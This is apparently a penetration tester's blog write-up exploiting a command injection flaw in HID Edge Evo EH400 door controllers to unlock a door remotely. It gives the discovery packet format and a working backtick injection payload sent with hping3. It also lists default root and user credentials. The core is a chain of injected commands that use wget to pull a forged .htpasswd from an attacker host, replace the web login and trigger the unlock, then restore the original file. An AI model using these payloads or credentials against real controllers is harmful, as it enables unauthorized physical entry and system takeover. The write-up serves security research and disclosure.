Recently, a blog post on Trendmicro disclosed a remote, unauthenticated, command injection vulnerability for HID’s VertX and Edge door controller platforms. This vulnerability immediately sparked my interest and I went shopping. I was lucky enough to find a lot of 2 Edge Evo EH400’s on ebay for a fairly reasonable price. Having little doubt that I was going to break at least one of them, this seemed like the perfect purchase.
As soon as they arrived, I networked them up and got to exploring. I knew I needed an end goal lest I go down the never ending “what else can I do” rabbit hole. I decided my end goal was to leverage the command injection vulnerability to open the door, while noting any other potential attack vectors on the way.
Both controllers were set to static IP addresses so I had to reset the networking, which was fairly simple. Additionally, the same process also reset the password for http(s). With a little extra work, I probably could have avoided this step, but excitement got the best of me. Reseting the networking changed the device from Static to DHCP. Using the readily available HID Discovery GUI, I was able to identify their IP addresses with relative ease. We’ll talk more about the discovery GUI and it’s related service a bit later.
With known IP addresses, and a default password for the web management portal, it was time to start poking around. The default user:pass for the web management is admin:(blank). After logging in with the default, I immediately noticed that I was not required to change the password at login, though, if I tried to make any changes it required I set a password.
The next thing I noticed was in the advanced setup menu. Here I had the option to enable SSL, FTP, SSH, and Telnet. For my devices, only SSL and Telnet were enabled. I can’t say whether this is default or not, as I later learned that these settings persist through the networking/password reset. I enabled all the services (and set a password) and moved on for the moment, knowing I’d be coming back to ssh/telnet soon enough.
Next, and ultimately the most interesting page, was the system status page. As you can see below, this page had a number of icons, highlighted in different colors, all with 1 and 0 buttons next to them. So I started clicking around. As suspected, these buttons were for diagnostics. The beeper, the LED lights…. the locking mechanism. Yep, the locking mechanism. One simple click and the door unlocked. No forced door alarm, no held open alarm, just unlocked. Clicked the zero on the right and the mechanism was once again “secure”.
There it was, already, a clear route to unlocking the door on command, but it required access to the web portal, which may or may not have a default password set. Additionally, my goal was to use the command injection to do this. My work was not done, but I pocketed this for later.
With ssh/telnet enabled, I knew that was my next stop. I had a hunch that my admin user:pass combo would work and I was right. I ssh’d in and immediately ran a sudo -l only to discover that sudo didn’t exist. The EH400 was running busybox with almost nothing added on top. Quickly cat’d out /etc/passwd to see what other users there were, then went to googling.
Didn’t take long to find out that the default password for root was “pass”. Ouch. su’d with “pass” and it was a success. Checked /etc/shadow for other hashes and compared the two devices (later a third from a different source) to see if they were defaults. All the hashes, including salts, were the same. Safe bet they are default.
root:pass:0:0:Administrator:/:/bin/sh modem1:modem1:500:503:Linux User,,,:/:/bin/sh router1:router1:501:503:Linux User,,,:/:/bin/sh default:(NOT YET RECOVERED):1000:1000:Linux User,,,:/home/default:/bin/sh admin:(Blank):502:504:Linux User,,,:/:/bin/sh
I checked the defaults against the web portal, but turns out only the admin user was allowed to login. This was later confirmed by the lighttpd.conf. This meant the portal is was not a reliable method for opening the door.
I hunted through the filesystem for a magic ‘opendoor.sh’ but none existed. Jumping ahead a bit: I’m currently putting my complete lack of RE skills to the test to find the necessary libraries and hardware calls to compile something that simply opens the door, but this isn’t something I think I’ll come up with quickly. Again, complete lack of RE skills.
After crawling the filesystem, it was time to start looking at the network communication and testing the command injection vulnerability. Queue the return of the discovery gui tool. This tool interacts with the vulnerable discoveryd service listening on UDP port 4070 of the door controllers. I started a pcap and launched the discovery gui. The gui discovered the controller and I issued the blink_on and blink_off commands.
The pcap showed the discovery command and the controllers response. It also showed the blink_on and blink_off commands exactly as they were shown in the discovery gui.
# Discovery GUI broadcast data on UDP port 4070 discover;013; #EH400 Response with MAC, Host name,IP, Device type, firmware rev and build date discovered;086;00:06:8E:40:CA:65;EdgeEH400;192.168.5.43;3;EH400;3.3.1.1168;04/14/2014; #command_blink_on is broadcast, but the target MAC is defined in the data #followed by the number of times to blink. command_blink_on;044;00:06:8E:40:CA:65;3600; #command_blink_of also broadcast, again with target MAC defined. command_blink_off;044;00:06:8E:40:CA:65;3600;
I immediately noted that (at least on the EH400) there was no LED to blink, so instead it beeped, and loudly. My dog did not like this. Luckily, the controller immediately accepted the blink_off command and did not beep 3,600 times.
Next I wanted to test the vulnerability. The disclosure noted that all you needed to do was wrap your command in backticks. I set up a tcpdump icmp listener real quick and, using hping3, sent the command with “ping -c 4 192.168.5.100” in backticks.
#hping3 command hping3 --udp -p 4070 -c 1 -E ping.data -d 72 192.168.5.43 #data contained in ping.data file command_blink_on;044;00:06:8E:40:CA:65;1`ping -c 4 192.168.5.100`;
Watching my tcpdump listener, I saw my 4 pings arrive then the controller beeped. Success.
I played around with the number of blink/beeps as well as tried removing the MAC address to see if the attack could be broadcast to all listening controllers. It turned out, that the MAC was indeed required (FF:FF:FF:FF:FF:FF didn’t work either). Additionally, for this controller, if a beep/blink wasn’t included it emitted a solid never-ending tone. While the command still executes, this effectively requires that you set at least one blink/beep otherwise you’re basically setting off an alarm.
Fast forward: Just a few days later, I discovered VertXploit.py on Github. There were a couple of minor differences. First, their implementation issued ‘command_blink_on;042;’ instead of ‘command_blink_on;044;’. After some playing around, it turned out it didn’t matter what followed ‘command_blink_on;’ as long as something is there (command_blink_on;1; worked the same as command_blink_on;FFF;). Additionally, their implementation doesn’t require a blink/beep. I don’t know what they tested against, but you definitely want a blink/beep for the EH400.
Next I wanted to see how long of a payload the device would accept, as that would probably be pretty important moving forward. After some testing, it turned out to be pretty limited, but completely workable. Within the final set of ;’s, I could fit a total of 44 bytes, subtracting the 1 blink and the two backticks, that left a 41 byte payload. As a note, I tried reducing the ;044; to ;1; to see if that would grant me 2 extra bytes, but it didn’t. Stuck at 41.
As I said earlier, I was not able to identify a executable that simply opened the door nor have I been able to build a new executable with that ability. So, taking what I already knew, how was I going to open that damn door. The only positive way I knew was through the web portal, but assuming a real world scenario where I don’t know the admin password, I couldn’t log in.
I started looking into the web server itself, mainly it’s authentication. Pretty quickly I discovered it was using .htpasswd with htdigest authentication. And all of a sudden, I had an attack vector. All I had to do, was replace the contents of .htpasswd with a known password value. From a pentester’s prospective, I also needed to make sure this process was completely reversible (don’t break shit). Additionally, preventing a target/client from accessing their own system is a sure way to tip your hand.
Basically, I needed to do three things. Backup .htpasswd, make a new .htpasswd, and replace the old one once my hypothetical team was done looting. Given the 41 byte limit, I assumed the first two steps would require multiple injections. The .htpasswd string alone was 52 bytes, so I knew I’d need to generate it locally, and push it across. After a couple iterations, this is what I came up with.
#Executed locally on attacker machine echo -n "admin:Secure Access:<NEWPASS>" | md5sum | cut -b -32 > /var/www/html/ht #executed via command injection on the target cp /etc/sysconfig/.htpasswd /tmp/htbak # Only 38 bytes. wget -O /tmp/ht http://192.168.5.100/ht # 39 bytes (or 41 with full octets). mv /tmp/ht /etc/sysconfig/.htpasswd # Also, 38. # Note: Depending on firmware version, the 'http://' # may or may not be required for the wget command. # 3.3.1.1168 requires it, 3.5.1.1483 does not.
Boom, it worked. I was able to log into the device’s web portal using my new password. Moved to the system status page and… *CLICK*. Very satisfying sound.
Now to clean up.
mv /tmp/htbak /etc/sysconfig/.htpasswd # Again, 38 bytes.
And there we have it. Remote command injection on a Edge Evo EH400 leading to physical access. This method is by no means as clean as I’d like and requires the use of the web portal. The web portal can’t be disabled through itself, but for an admin with root privileges on the device, it could easily be done. I have no idea if killing http would affect the functionality of the device or not.
It’s also important to note that, at least with the EH400, every command you inject is accompanied by a rather loud beep. It’s not 100% covert, there are signs during exploitation.
I’m not done here though. My goal is still to figure out a way to compile an executable that can be pushed to the device and used as a backdoor via the command injection vuln anytime, without having to 1) use a browser, or 2) modify the admin password.
I’m putting the finishing touches on a bash script that executes the above attack and another that cleans up afterwards. Along with the script, I’m doing some testing on timing. It think it’s possible to send the commands quick enough that, while all three payloads execute, only one beep is heard. Once those scripts are complete, you’ll be able to find the here: https://github.com/lixmk/Concierge.
UPDATE: These scripts are now available. Use at your own risk. There were tested against three EH400s, with 2 different firmware versions (3.3.1.1168 & 3.5.1.1483)